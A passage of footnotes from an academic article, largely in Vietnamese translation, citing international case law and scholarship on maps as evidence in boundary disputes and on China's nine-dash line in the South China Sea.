trong trường hợp hiện tại dựa vào”; Sovereignty over Pulau Ligitan and Pulau Sipadan (Indonesia/Malaysia), [2002] I.C.J. Rep. 625 at 667, para. 88; Maritime Delimitation and Territorial Questions between Qatar and Bahrain (Qatar v. Bahrain), Separate Opinion of Judge Kooijmans, [2001] I.C.J. Rep. 225 at 242, para. 68.</div> <div> </div> <div> [56] Patrick DAILLIER, Mathias FORTEAU, and Alain PELLET, Droit international public, 8th ed. (Paris: L.G.D.J., 2009) at 524, para. 301.</div> <div> </div> <div> [57] Một bàn luận về khả năng hạn chế này, xem Maurice KAMTO, ‘‘Le matériau cartographique dans les contentieux frontaliers et territoriaux internationaux’’ in Emile YAKPO and Tahar BOUMEDRA, eds., Liber Amicorum Judge Mohammed Bedjaoui (The Hague: Kluwer, 1999) at 371–98.</div> <div> </div> <div> [58] Riddell and Plant, supra note 56 at 266.</div> <div> </div> <div> [59] ZHAO Lihai, Studies on the Law of Sea (Beijing: Beijing University Press, 1996) at 37 (in Chinese), translated in Li and Li, supra note 4 at 291.</div> <div> </div> <div> [60] JIAO Yongke, ‘‘There Exists No Question of Redelimiting Boundaries in the Southern Sea’’ (2000) 17 Ocean Development and Management at 52 (in Chinese), translated in Michael STRUPP, ‘‘Maritime and Insular Claims of the PRC in the South China Sea under International Law’’ (2004) 11 Zeitschrift fu¨ r chinesisches Recht 1 at 16.</div> <div> </div> <div> [61] Zou, supra note 33 at 160.</div> <div> </div> <div> [62] Grisbadarna Case (Norway v. Sweden), Decision of 23 October 1909, [1910] 4 American Journal of International Law 226 at 231, nêu rằng: ‘‘lãnh hải là thứ phụ thuộc chính yếu của lãnh thổ đất liền’’ (translation from the original French, [2006] XI Reports of International Arbitral Awards 159); North Sea Continental Shelf (Federal Republic of Germany/Denmark; Federal Republic of Germany/Netherlands), [1969] I.C.J. Rep. 3 at 51, para. 96: ‘‘Trong cả hai trường hợp [vùng tiếp giáp lãnh hải và thềm lục địa] nguyên tắc được áp dụng là đất thống trị biển’’. Nghiên cứu sâu hơn và các trường hợp của nguyên tắc này, xem Abou-el-Wafa, supra note 37 at 88–90.</div> <div> </div> <div> [63] Fisheries Case (United Kingdom v. Norway), [1951] I.C.J. Rep. 116 at 132.</div> <div> </div> <div> [64] UNCLOS, supra note 12, has been ratified by all interested parties in the South China Sea dispute with the exception of Taiwan (Vietnam: 25 July 1994, PRC: 7 June 1996, Philippines: 8 May 1984,Malaysia: 14 October 1996, Brunei: 5 November 1996, Myanmar: 21 May 1996, and Thailand: 15 May 2011), online: UN http://www.un.org/Depts/los/reference_files/chronological_lists_of_ratifications.htm.</div> <div> </div> <div> [65] Ibid.</div> <div> </div> <div> [66] Một cách tiếp cận mới giới hạn đáng kể khả năng áp dụng ngoại lệ củaĐiều 121(3) đối với việc phân giới trên biển, xem Bernard H. OXMAN, ‘‘On Rocks and Maritime Delimitation’’ in Mahnoush H. ARSANJANI, Jacob Katz COGAN, Robert D. SLOANE, and Siegfried WIESSNER, eds., Looking to the Future: Essays on International Law in Honor of W. Michael Reisman (Leiden/Boston: Martinus Nijhoff, 2011), 893. Theo lý luận của tác giả, những tranh cãi liên quan đến ý nghĩa chính xác của việc cư trú của con người và đời sống kinh tế sẽ ít quan trọng hơn, bởi vì trong giai đoạn phân giới các đảo nhỏ thường chỉ đóng một vai trò nhỏ.</div> <div> </div> <div> [67] Alex G. Oude ELFERINK, ‘‘The Islands in the South China Sea: How Does Their Presence Limit the Extent of the High Seas and the Area and the Maritime Zones of the Mainland Coasts?’’ (2001) 32 Ocean Development and International Law 169 at 182. See also Marius GJETNES, ‘‘The Spratlys: Are They Rocks or Islands?’’ (2001) 32 Ocean Development and International Law 191 at 199–201; Barry Hart DUBNER, ‘‘The Spratly ‘Rocks’ Dispute: A ‘Rockapelago’ Defies Norms of International Law’’ (1995) 9 Temple International and Comparative Law Journal 291 at 299–306.</div> <div> </div> <div> [68] Nó liên quan đến những hành động do TQ thực hiện bởi để đưa vào các mục bổ sung cho chương trình nghị sự tại cuộc họp năm 2009 của các nước thành viên UNCLOS và kỳ họp lần thứ 15 của Cơ quan đáy biển quốc tế (ISA) một năm sau đó. Xem Erik FRANCKX, ‘‘The International Seabed Authority and the Common Heritage of Mankind: The Need for States to Establish the Outer Limits of Their Continental Shelf’’ (2010) 25 International Journal of Marine and Coastal Law 543 at 563–4. Những nỗ lực như vậy được lặp vào thời điểm Hội nghị của các nước thành viên UNCLOS năm 2011 nhưng không lặp lại tại cuộc họp lần của ISA khoảng một tháng sau đó.</div> <div> </div> <div> [69] Như chỉ rõ qua danh nghĩa đại diện của giáo sư Jia Yu, đưa ra trong một buổi báo cáo tóm tắt của ISA năm 2009. Mặc dù đóng góp này có tiêu đề là ‘‘Safeguarding the Common Heritage of Mankind’’(Bảo vể di sản chung của loài người) trong công bố cho báo chí của ISA (ISA, ‘‘Press Release SB/15/10’’ (June 2009) at 3, online: ISA http://www.isa.org.jm/files/documents/EN/Press/Press09/SB-15–10.pdf), các phim chiếu slides phân phát vào lúc đó tại buổi báo cáo tóm tắt lại có một tiêu đề cụ thể hơn, đó là ‘‘The Rock of Oki-no-Tori Shall Have No EEZ and Continental Shelf’’ (Mỏm đá Okinotori sẽ có EEZ và thềm lục địa mở rộng). Xem thêm Ted McDORMAN, ‘‘The South China Sea after 2009: Clarity of Claims and Enhanced Prospects for Regional Cooperation?’’ (2010) 24 Ocean Yearbook 507 at 514–15. Về chi tiết và các hành động sau này của các bên về mặt này, xem Yann-Huei SONG, ‘‘The Application of Article 121 of the Law of the Sea Convention to the Selected Geographical Features Situated in the Pacific Ocean’’ (2010) 9 Chinese Journal of International Law 663 at 671–4.</div> <div> </div> <div> [70] Indonesia, ‘‘Letter to the Secretary-General of the United Nations—480/POL-703/VII/10’’ (8 July 2010), online: UN http://www.un.org/depts/los/clcs_new/submissions_files/mysvnm33_09/idn_2010re_mys_ vnm_e.pdf. Sự liên kết giữa các hành động can thiệp này với Biển Đông được trình bày trong công hàm này như sau:</div> <div> Về mặt này, các phát biểu của các đại diện ưu tú của CHNDTH cũng liên quan đến tình hình ở Biển Đông và do đó thật đúng khi nêu rằng những thể địa lý rất nhỏhoặc ở xa xôi ở Biển Đông không xứng đáng được hưởng vùng đặc quyền kinh tế hay thềm lục địa của riêng mình. Cho phép sử dụng các mỏm đá, các rạn san hô và đảo san hô vòng không có người ở cô lập với đất liền và ở giữa biển khơi như một điểm cơ sở để tạo ra các khu vực biển gây quan ngại tới các nguyên tắc cơ bản của Công ước [1982] và xâm phạm lợi ích chính đáng của cộng đồng toàn cầu. Vì thế,như được chứng thực bởi những phát biểu trên, cái gọi là “bản đồ đường 9 chấm” rõ ràng thiếu cơ sở pháp lý quốc tế và đồng nghĩa với việc đảo lộn… Công ước 1982.</div> <div> </div> <div> [71] Xem bộ phận luật án lệ rộng hơn và ý kiến các học giả nêu trong Gérard NIYUNGEKO, La preuve devant les juridictions internationales (Brussels: Bruylant, 2005) at 322–35, and more recently Case concerning Pulp Mills on the River Uruguay (Argentina v. Uruguay), [2010] I.C.J. Rep. 1 at 52, para. 168.</div> <div> </div> <div> [72] Raphae¨le RIVIER, ‘‘La preuve devant les juridictions interetatiques à vocation universelles (CIJ et TIDM)’’ in Hélène Ruiz FABRI and Jean-Marc SOREL, eds., La preuve devant les juridictions internationales (Paris: Pedone, 2007), 9 at 38–48. More generally, judicial bodies select the facts they deem pertinent in a discretionary manner. Xem Jean SALMON, ‘‘Le fait dans l’application du droit international’’ (1982) 175 Collected Courses of the Hague Academy of International Law 261 at 300. For a critical approach to the freedom of judges with respect to weighing evidence, see Rudiger WOLFRUM, ‘‘Taking and Assessing Evidence in International Adjudication’’ in Tafsir Malick NDIAYE and Rudiger WOLFRUM, eds., Law of the Sea, Environmental Law and Settlement of Disputes: Liber Amicorum Judge Thomas A. Mensah (Leiden: Martinus Nijhoff, 2007), 341 at 342; Patrick KINSCH, ‘‘On the Uncertainties Surrounding the Standard of Proof in Proceedings before International Courts and Tribunals’’ in Gabriella VENTURINE and Stafania BARIATTI, eds., Liber Fausto Pocar—Diritti individuali e giustizia internazionale, vol. 1 (Milan: Giuffre`, 2009), 427 at 438–9; Chittharanjan F. AMERASINGHE, Evidence in International Litigation (Leiden: Martinus Nijhoff, 2005) at 232–61.</div> <div> </div> <div> [73] Mặc dù không có học thuyết về việc dựa vào tiền lệ (stare decisis) trong luật quốc tế, tòa và tòa án quốc tế thường trích dẫn luật án lệ. Điều này đặc biệt đúng đối với ICJ, là toà có tính tự tham chiếu cao độ và sẽ chỉ đi chệch khỏi án lệ trong quá khứ khi có các lý do đáng kể. Xem Alan BOYLE and Christine CHINKIN, The Making of International Law (Oxford: Oxford University Press, 2007) at 293–9; Gilbert GUILLAUME, ‘‘The Use of Precedent by International Judges and Arbitrators’’ (2011) 2 Journal of International Dispute Settlement 5 at 12.</div> <div> </div> <div> [74] Frontier Dispute, supra note 57 at 582, para. 55, nêu: ‘‘trọng lượng phân cho các bản đồ với tư cách bằng chứng phụ thuộc vào một số lớn các cân nhắc”; Qatar v. Bahrain, supra note 58, Dissenting Opinion of Judge Torres Berna´rdez at 274, para. 37, stating: ‘‘[t]he weight of maps as evidence depends on a range of considerations.’’</div> <div> </div> <div> [75] Xem Case concerning the Delimitation of Maritime Boundary between Guinea-Bissau and Senegal (Guinea- Bissau/Senegal), Decision of 31 July 1989, Dissenting Opinion of Mr. Mohammed Bedjaoui, [2006] XX Reports of International Arbitral Awards 119 at 166–9, paras. 32–7 (lập luận chống lại một chuyển vị tự động các nguyên tắc lãnh thổ sang phân định biển cho các khác biệt “hiển nhiên” và “không thể giảm hơn” về mặt địa lý, mối quan hệ của chúng với các quyền của các dân tộc và các quốc gia quyền đối với các vùng này); Lea BRILMAYER and Natalie KLEIN, ‘‘Land and Sea: Two Common Sovereignty Regimes in Search of a Common Denominator’’ (2001) 33 New York University Journal of International Law and Politics 703 at 703–4 (noting 15 </div> <div> </div> <div> [76] Xem các ví dụ về các vụ liên quan một phần đến các tranh chấp trên biển, supra note 58 citing a passage from Frontier Dispute (Burkina Faso/Republic of Mali) (which is a territorial case).</div> <div> 80. Island of Palmas Case (Netherlands v. U.S.A.), Award of 4 April 1928, [2006] II Reports of International Arbitral Awards 829 at 852–3 stating: ‘‘only with the greatest caution can account be taken of maps in deciding a question of sovereignty’’, reaffirmed in Nicaragua v. Honduras, supra note 58 at 58, para.</div> <div> </div> <div> [77] Island of Palmas Case (Netherlands v. U.S.A.), Award of 4 April 1928, [2006] II Reports of International Arbitral Awards 829 at 852–3 nêu: “Chỉ với sự thận trọng lớn nhất các bản đồ có thể được xét tới trong việc quyết định vấn đề chủ quyền”, reaffirmed in Nicaragua v. Honduras, supra note 58 at 58, para. 214; Territorial Sovereignty and Scope of the Dispute (Eritrea/Yemen), Decision of 9 October 1998, [2006] XXII Reports of International Arbitral Awards 209 at 296, para. 388, nêu: “như trong tất cả các trường hợp về bản đồ, bằng chứng phải được xử lý thât tinh tế”. For an opposing view calling into question the reluctant approach of international adjudicators vis-à-vis cartographic evidence, see Romulo R. UBAY Jr, ‘‘Evidence in International Adjudication: Map Evidence in Territorial Sovereignty Dispute Cases’’ (2011) 1 Aegean Review of the Law of the Sea and Maritime Law 287.</div> <div> </div> <div> [78] Arbitration Between Great Britain and Portugal as Regards Questions Relative to the Delimitation of their Spheres of Influence in East Africa (Manica plateau) (United Kingdom/Portugal), Decision of 30 January 1897, [2007] XXVIII Reports of International Arbitral Awards 283 at 298.</div> <div> </div> <div> [79] Indo-Pakistan Western Boundary (Rann of Kutch) between India and Pakistan (India v. Pakistan), Award of 19 February 1968, Proposal of Mr. Nasrollah Entezam, [2006] XVII Reports of International Arbitral Awards 1 at 505, nêu: “bản đồ chỉ bằng chứng phụ. Chỉ có bản đồ được chuẩn bị bởi người giám định ngay tại chỗ bằng cách quan sát mới là bằng chứng chính. Thầm chí chúng là bằng chứng chính chỉ cho những điều mà người giám định có thể tự mình quan sát”; Qatar v. Bahrain, supra note 58, Dissenting Opinion of Judge Torres Bernardez at 274, para. 37, nêu: “ nói chung, giá trị như là bằng chứng do toà và toà án quốc tế gắn cho chúng là có tính củng cố hay xác nhận cho các kết luận đã được rút ra từ các phương cách khác không dính dáng tới các bản đồ, vì các bản đồ như thế không có danh nghĩa pháp lý”; Island of Palmas, supra note 80 at 853–4, nêu: “dù sao đi nữa, bản đồ chỉ có khả năng đưa ra một chỉ định - và đó là một chỉ định rất gián tiếp - và trừ khi được kèm theo một công cụ pháp lý, không có giá trị của một công cụ như vậy, liên quan đến công nhận hoặc từ bỏ quyền”; ibid., at 853: Nếu trọng tài hài lòng về sự tồn tại của các sự kiện pháp lý có liên quan nhưng các sự kiện này lại mâu thuẫn với lời khai của những người vẽ bản đồ có nguồn thông tin không biết rõ, ông ta có thể sẽ không gán trọng lượng nào cho các bản đồ, tuy các bản đồ này rất nhiều và thường có thể được đánh giá cao.</div> <div> </div> <div> [80] Frontier Dispute, supra note 57 at 583, para. 56. Xem thêm The Government of Sudan/The Sudan People’s Liberation Movement/Army (Abyei Arbitration), Final Award of 22 July 2009, online: PCA http://www.pca-cpa.org at 256, para. 741:</div> <div> Toà án tương tự như vậy rất miễn cưỡng để cân bằng biên giới Đông và Tây của khu vực do Ngok Dinka chiếm đóng chuyển giao vào năm 1905 với mô tả bằng bút chì năm 1933 về khu vực chăn thả gia súc mùa khô của Ngok Dinka trên một bản đồ vẽ phác, đặc biệt là khi toà đã có bằng chứng toàn diện và cụ thể hơn.</div> <div> </div> <div> [81] Sakeus AKWEENDA, ‘‘The Legal Significance of Maps in Boundary Questions: A Reappraisal with Particular Emphasis on Namibia’’ (1990) 60 British Yearbook of International Law 205 at 212; A.O. CUKWURAH, The Settlement of Boundary Disputes in International Law (Manchester: Manchester University Press, 1967) at 224–5; Hyde, supra note 27 at 313–15; Victor PRESCOTT and Gillian D. TRIGGS, International Frontiers and Boundaries: Law, Politics and Geography (Leiden: Nijhoff, 2008) at 194–5; Durward V. SANDIFER, Evidence before International Tribunals, 2nd ed. (Charlottesville: University Press of Virginia, 1975) at 235; Guenter WEISSBERG, ‘‘Maps as Evidence in International Boundary Disputes: A Reappraisal’’, (1963) 57 American Journal of International Law 781 at 781.</div> <div> </div> <div> [82] E.g., Ian BROWNLIE, The Rule of Law in International Affairs: International Law at the Fiftieth Anniversary of the United Nations (The Hague: Martinus Nijhoff, 1998) at 156.</div> <div> </div> <div> [83] Manfred LACHS, ‘‘La preuve et la Cour internationale de Justice’’ in Chaı¨m PERELMAN and Paul FORIERS, eds., La preuve en droit (Brussels: Bruylant, 1981), 109 at 109.</div> <div> </div> <div> [84] Mức phù hợp trong bản đồ không cần phải luôn luôn là tuyệt đối, nhưng nó phải phù hợp trên tổng quát.. Abouel- Wafa, supra note 37 at 432–4.</div> <div> </div> <div> [85] Kasikili/Sedudu Island, supra note 58 at 1100, para. 87; see also Dubai/Sharjah Border Arbitration (Dubai v. Sharjah), Award of 19 October 1981, [1993] 91 International Law Reports 543 at 630, para. 168:</div> <div> Theo quan điểm của Toà án cần phải dẹp sang một bên cả hai bản đồ do ông Walker chuẩn bị, xét về vị trí của Hadlib Azana, vì, mặc dù được chuẩn bị bởi cùng một người, chúng lại mâu thuẫn lẫn nhau về đường ranh giới chung trong khu vực này. Suy đoán thêm về các lý do có thể có cho một mâu thuẫn như vậy là chuyện vô ích.</div> <div> Eritrea/Yemen Arbitration, supra note 80 at 296, para. 388:</div> <div> Các bằng chứng cho thời kỳ này bị vây bủa với các mâu thuẫn và sự không chắc chắn. Mỗi bên đã thể hiện sự không thống nhất trong các bản đồ chính thức của mình. Tuy nhiên, xu hướng chung là bằng chứng bản đồ củaYemen là vượt trội về phạm vi và khối lượng so với Eritrea. Tuy nhiên, trọng lượng như vậy có thể được gắn vào bản đồ bằng chứng ủng hộ của một bên được cân bằng bởi thực tế là mỗi bên đã công bố những bản đồ có vẻ đi ngược với khẳng định của mình trong các thủ tục tố tụng.</div> <div> Delimitation of the Border Between the State of Eritrea and the Federal Democratic Republic of Ethiopia (Eritrea-Ethiopia Boundary Commission), Decision of 1 January 2002, [2002] 41 International Legal Materials 1057 at 1089, para. 4.67:</div> <div> Bằng chứng bản đồ là không đồng nhất và nhất quán. Phần lớn hỗ trợ sự tồn tại của một phóng chiếu của Belesa và gán lãnh thổ bên trong nó cho Eritrea. Tuy nhiên, có nhiều bản đồ không làm như vậy, hoặc chỉ làm như vậy một phần</div> <div> </div> <div> [86] Tuy nhiên xem Separate World’s Geography (Chinese Ya Guang Geographic Publisher, 1951) at 18 (Bản dồ nước Cộng hoà), trong đó chỉ có khoảng nửa số vạch được thể hiện [bản đồ TQ 1951].</div> <div> </div> <div> [87] Xem Chinese State Bureau of Surveying and Mapping, Map World, online: Map World http://www.chinaonmap.cn. Bản đồ này được in lại một phần trong Phụ lục II ở cuối bài viết này.</div> <div> </div> <div> [88] Vì vậy, về mặt kỹ thuật hình như chính xác hơn khi nói đường chấm chấm với số vạch thay đổi, chẳng hạn như là đường 11/9/10-chấm. Tuy nhiên, vì cho tới nay đường 9 chấm là đường mà TQ dựa vào trên bình diện quốc tế để minh định lập trường của họ trong tranh chấp của quốc gia đối với quốc gia nên bài đóng góp này thường sẽ dùng khái niệm “đường 9 chấm”, trừ khi các đường với số chấm khác có ý nghĩa pháp lý.</div> <div> </div> <div> [89] Eritrea/Yemen Arbitration, supra note 80 at 295, para. 382.</div> <div> </div> <div> [90] Các vạch được TQ sử dụng để vẽ đường chữ U không phù hợp với các quy định kỹ thuật biểu đồ do Tổ chức Thủy văn Quốc tế đề ra dùng để chỉ ranh giới biển quốc tế, lãnh hải, vùng tiếp giáp lãnh hải, vùng đặc quyền kinh tế, thềm lục địa, khu thủy sản, vv. Xem International Hydrographic Organization, Regulations of the IHO for International (INT) Charts and Chart Specifications of the IHO, 4th ed. (Monaco: International Hydrographic Bureau, 2010) at B-440, C-407 (International Boundaries and National Limits), online: IHO http://www.iho-ohi.net/iho_pubs/standard/S-4/S4_v4.000_Sep10.pdf . Kiểu lập luận này đã được Ukraina đưa ra chống lại Romania trong vụ ở Biển Đen (Romania v. Ukraine), Counter-memorial of Ukraine, 19 May 2006 at 123–5.</div> <div> [91] International Hydrographic Organization Membership, online: IHO http://www.iho-ohi.net/english/home/about-the-iho/about-iho-member-states/ms-information.html.</div> <div> </div> <div> [92] Kasikili/Sedudu Island, supra note 58, Separate Opinion of Judge Oda at 1133–4, para. 40. Xem thêm Frontier Dispute, supra note 57 at 583, para. 57, nêu: “bây giờ Ban thẩm phán (Chamber) quay sang các bản đồ được in trong trường hợp này. Đối với Ban Thẩm phán không có một bản đồ đơn lẻ có sẵn nào có thể nói một cách đáng tin cậy là phản ánh được những ý định của chính quyền thực dân được thể hiện trong các các văn bản liên quan đến biên giới đang có tranh chấp.” Xem thêm Abou-el-Wafa, supra note 37 at 425–6.</div> <div> </div> <div> [93] Smith, supra note 53 at 224.</div> <div> </div> <div> [94] Kasikili/Sedudu Island, supra note 58, Separate Opinion of Judge Oda at 1133–4, para. 40.</div> <div> </div> <div> [95] Cũng phải nói rõ rằng dù ngay cả trong tình huống như thế, việc chế tác bản đồ cũng không phải là một công việc có “giá trị trung lập” về khoa học. Những bóp mép không chủ ý cũng có thể len vào trong quá trình này do những thiên lệch của nhà vẽ bản đồ và bối cảnh xã hội. Jordan BRANCH, ‘‘Mapping the Sovereign State: Technology, Authority, and Systemic Change’’ (2011) 65 International Organization 1 at 7.</div> <div> </div> <div> [96] Trừ khi một bản đồ như vậy đi ngược vị thế của họ. Xem chẳng hạn, Sovereignty over Pedra Branca/Pulau Batu Puteh, Middle Rocks and South Ledge (Malaysia/Singapore), [2008] I.C.J. Rep. 12 at 95, para. 272. Abou-el-Wafa, supra note 37 at 460–2.</div> <div> </div> <div> [97] Beagle Channel Arbitration (Argentina v. Chile), Decision of 18 February 1977, [2006] XXI Reports of International Arbitral Awards 53 at 167, para. 142. Xem thêm Frontier Dispute, supra note 57 at 583, para. 56, nêu rằng: ‘‘những cân nhắc khác để xác định trọng lượng của các bản đồ như là bằng chứng liên quan tới tính trung lập của các nguồn của chúng đối với tranh chấp đang xem xét và với các bên đối với tranh chấp đó.’’</div> <div> </div> <div> [98] Cukwurah, supra note 84 at 224. Xem thêm Hyde, supra note 27 at 315: Các nguyện vọng hung hăng về lãnh thổ của một nước, qua thời gian nhiều năm có thể phản ánh trong một loạt các bản đồ liên tiếp mô tả rõ rệt sự lấn tới dần và thực sự, và những mô tả sau này có thể khác biệt rõ rệt với các mô tả trước đó;dù trên thự tế không có hiệp ước nào mở rộng ranh giới hay điều chỉnh biên giới.</div> <div> </div> <div> [99] Charles DE VISSCHER, Problèmes de confins en droit international public (Paris: Pedone, 1969) at 46. Xem thêm Joseph Charles WITENBERG, ‘‘La théorie des preuves devant les juridictions internationales’’ (1936) 56 Collected Courses of the Hague Academy of International Law 1 at 66: ‘‘la valeur scientifique de la méthode ayant présidé´à leur établissement’’; Abou-el-Wafa, supra note 37 at 431.</div> <div> </div> <div> [100] Ian BROWNLIE, African Boundaries: A Legal and Diplomatic Encyclopaedia (London: Royal Institute of International Affairs, 1979) at 5.</div> <div> </div> <div> [101] Cukwurah, supra note 84 at 217–20.</div> <div> </div> <div> [102] Island of Palmas, supra note 80 at 853. Cited in Dubai/Sharjah Border Arbitration, supra note 88 at 630, para. 168. Xem thêm Delimitation Between Eritrea and Ethiopia, supra note 88 at 1075, para. 3.19, nêu: Ủy ban cũng lưu ý rằng các bản đồ, dù thông tin nó cung cấp nhiều như thế nào, không nhất thiết thể hiện chính xác, khách quan thực tế trên mặt đất’</div> <div> </div> <div> [103] Frontier Dispute, supra note 57 at 582–3, para. 55. Xem thêm Beagle Channel, supra note 100 at 174, para. 154, nêu: “Vì thếTòa án bắt buộc đi đến kết luận rằng bản đồ củaPelliza có tính chất quá không chắc chắn để có giá trị chứng minh đòi hỏi”; Request for Interpretation of the Judgment of 15 June 1962 in the Case concerning the Temple of Preah Vihear (Cambodia v. Thailand), Order of 18 July 2011, Dissenting Opinion of Judge ad hoc Cot, [2011] I.C.J. Rep. 1 at 4, para. 21–2 (tuyên bố quyết định của Toà xác định một khu vực phi quân sự tạm thời là “thiếu thận trọng”dưới ánh sáng của tài liệu bản đồ mà ông cho là hạn chế và không đủ đáng tin cậy theo quan điểm kỹ thuật).</div> <div> </div> <div> [104] Legal Consequences of the Construction of a Wall in the Occupied Palestinian Territory, Advisory Opinion, [2004] I.C.J. Rep. 136 at 168, para. 80. Về việc ICJ chấp nhận ảnh vệ tinh trong các vụ tranh chấp, xem Jana K. HETTLING, ‘‘The Use of Remote Sensing Satellites for Verification in International Law’’ (2003) 19 Space Policy 33 at 38, nghiên cứu sâu hơn của cùng tác giả trong Satellite Imagery for Verification and Enforcement of Public International Law (Cologne: Heymann, 2008) at 157–65.</div> <div> </div> <div> [105] Dzurek, supra note 3 at 12; Zou, supra note 5 at 51.</div> <div> </div> <div> [106] Dzurek, supra note 3 at 11.</div> <div> </div> <div> [107] Xem chẳng hạn bản đồ TQ 1951, supra note 89. Không những một số lượng các vạch chỉ biến đi (ibid.) mà vị trí của những vạch biểu hiện trên rằng bản đồ đó với tỉ lệ 1:23.500.000 rõ ràng là sai biệt với những vạch thấy trong Phụ lục I: ba vạch đầu tiên rõ ràng là thấy được, nhưng vạch đầu tiên nằm theo hướng tây bắc nhiều hơn, vạch thứ hai ở hướng tây nam, và vạch thứ ba theo hướng phía bắc khi so sánh với bản đồ Phụ lục I.</div> <div> </div> <div> [108] Land, Island and Maritime Frontier Dispute (El Salvador/Honduras: Nicaragua Intervening), [1992] I.C.J. Rep. 350 at 550, para. 315. Xem thêm Kasikili/Sedudu Island, supra note 58, Dissenting Opinion of Vice-President Weeramantry at 1176, para. 73:</div> <div> Bản đồ dĩ nhiên có thể mang các mức độ trọng lượng khác nhau tùy thuộc vào tác giả và hoàn cảnh trong đó chúng được làm ra. Hơn nữa, tỉ lệ của các bản đồ thường là quá nhỏ không hiển thị rõ ràng các khu vực cụ thể đang là chủ đề của tranh chấp, trong khi các bản đồ khác đủ lớn có thể chỉ ra các khu vực tranh chấp đầy đủ chi tiết.</div> <div> </div> <div> [109] Delimitation Between Eritrea and Ethiopia, supra note 88 at 1089, para. 4.67. Earlier on in that case (at 1076, para. 3.21), Ủy ban cũng nêu: “một bản đồ ... với tỉ lệ quá nhỏ đến nỗi việc nhập vào sẽ trở thành một vấn đề phải suy xét hơn là sự quan sát chính xác, khó có thể có giá trị pháp lý hay bằng chứng cao.” Xem thêm Case Concerning the Location of Boundary Markers in Taba (Egypt/Israel), Decision of 29 September 1988, [2006] XX Reports of International Arbitral Awards 1 at 48, para. 184:</div> <div> Tòa án không xem xét các chỉ dẫn dựa trên bản đồ là thuyết phục vì tỉ lệ của bản đồ (1:100,000) là quá nhỏ để thể hiện một vị trí trên mặt đất chính xác theo yêu cầu trong những trường hợp này, trong đó khoảng cách giữa các vị trí trụ cột tranh chấp đôi khichỉ một vài mét.</div> <div> Dispute Concerning the Course of the Frontier Between BP 62 and Mount Fitzroy (‘‘Laguna del Desierto’’) (Argentina/Chile), Resolution of 13 October 1995, [1999] 113 International Law Reports 1 at 224:</div> <div> Ngay từ đầu, một số quan sát được lưu ý đến về các bản đồ tỉ lệ 1/10.000 do Chile đệ trình. Những bản đồ này được vẽ với một tỉ lệ lớn hơn đáng kể hơn so với bản đồ của Ủy ban Ranh giới hỗn hợp hoặc những bản đồ kèm theo đệ trình yêu sách chủ quyền của Chile ngày 31 tháng năm 1995, cung cấp một biểu diễn chính xác về địa hình thực sự của mặt đất</div> <div> </div> <div> [110] Maurice KAMTO, ‘‘Sur quelques questions techniques liées à la détermination du tracé d’une frontière maritime de´limitée’’ in Rafael CASADO RAIGON and Giuseppe CATALDI, eds., L’évolution et l’état actuel du droit international de la mer. Mélanges de droit de la mer offerts à Daniel Vignes (Brussels: Bruylant, 2009), 481 at 493–6, tác giả đưa ra một tường trình chi tiết về những khó khăn nghiêm trọng mà Cameroon và Nigeria gặp phải sau đó do sự kiện rằng trong đánh giá của mình ICJ đã dựa trên một biểu đồ Hải quân Anh không chứa bất kỳ chỉ dẫn của mốc đo lường được dùng.</div> <div> </div> <div> [111] Beagle Channel, supra note 100 at 164, para. 137. See also John G. MERRILLS, ‘‘The International Court of Justice and the Adjudication of Territorial and Boundary Disputes’’ (2000) 13 Leiden Journal of International Law 873 at 875, nêu: “về các vấn đề ranh giới và lãnh thổ các bản đồ có khả năng cung cấp bằng chứng về tình hình trên mặt đất và thái độ của các nước có liên quan đối với nó’’; Henry DARWIN, ‘‘Judicial Settlement’’ in Evan LUARD, ed., The International Regulation of Frontier Disputes (London: Thames & Hudson, 1970), 198 at 207–8.</div> <div> </div> <div> [112] Temple of Preah Vihear (Cambodia v. Thailand), [1962] I.C.J. Reports 6 at 23.</div> <div> </div> <div> [113] Delimitation Between Eritrea and Ethiopia, supra note 88 at 1075–6, para. 3.22. Một cách tượng tự Uỷ ban nhận thấy rằng (at 1076, para. 3.21):</div> <div> Tuy nhiên, một bản đồ do một cơ quan chính phủ của một bên vẽ ra, trên một tỉ lệ đủ để cho phép miêu tả của khu vực biên giới tranh chấp là nhận biết được, thường có sẵn để mua hoặc kiểm tra, dù tại nước xuất xứ hoặc ở nơi khác, và bên bị ảnh hưởng bất lợi hành động dựa trên nó, hoặc không phản ứng đối với nó, có thể được dự kiến là sẽ có hậu quả pháp lý quan trọng.</div> <div> </div> <div> [114] Nicaragua v. Honduras, supra note 58 at 735, para. 253.</div> <div> </div> <div> [115] Strupp, supra note 63 at 17.</div> <div> </div> <div> [116] Ibid., at 17, note 98.</div> <div> </div> <div> [117] Yehuda Z. BLUM, Historic Titles in International Law (The Hague: Nijhoff, 1965) at 150.</div> <div> </div> <div> [118] Li and Li, supra note 4 at 290. See also ‘‘Carps Among the Spratlys’’ The Economist (10 March 2011), online: The Economist http://www.economist.com/node/18332702?story_id518332702, stating: ‘‘TQ chỉ vào một bản đồ dùng từ thời THDQ công bố trong cuộc nội chiến những năm 1940 và nói rằng cho tới gần đây không ai quan tâm (mided).”</div> <div> </div> <div> [119] Zhao, supra note 33 at 22, được dịch lại trong Li and Li, supra note 4 at 292.</div> <div> </div> <div> [120] Như lập luận trong bài viết do Nguyễn Hồng Thao trình bày tại Hội thảo quốc tế lần hai, nhan đề là ‘‘The South China Sea: Cooperation for Regional Security and Development’’, tổ chức vào 10–12 /12/ 2010 tại tp Ho Chi Minh, Vietnam: ‘‘South China Sea—Three Stages, Four Challenges, Two Regional Approaches and One Confidence’’ at 12–13. On file with the authors.</div> <div> </div> <div> [121] UN, ‘‘Vietnam: Dispute Regarding the Law on the Exclusive Economic Zone and the Continental Shelf of the People’s Republic of China which was Passed on 26 June 1998’’ (1998) 38 Law of the Sea Bulletin 54 at 55.</div> <div> </div> <div> [122] Vietnam, ‘‘Letter to the Secretary-General of the United Nations—86/HC-2009’’ (8 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/vnm_re_chn_2009re_vnm.pdf.</div> <div> </div> <div> [123] Vietnam, ‘‘Viet Nam Request the Chinese Side to Remove from SBSM Map Service All Data and Information that Violate Viet Nam’s Sovereignty’’ (5 November 2010), online: Ministry of Foreign Affairs http://www.mofa.gov.vn; Vietnam, ‘‘Viet Nam Asks China to Remove Wrongful Data in Its SBSM Map Service’’ (26 January 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn.</div> <div> </div> <div> [124] Vietnam, ‘‘Foreign Ministry Spokesperson Nguyen Phuong Nga Answers Question from the Media at the Press Conference on June 9th 2011 Concerning the Viking II Incident’’ (9 June 2011), online: Ministry of Foreign 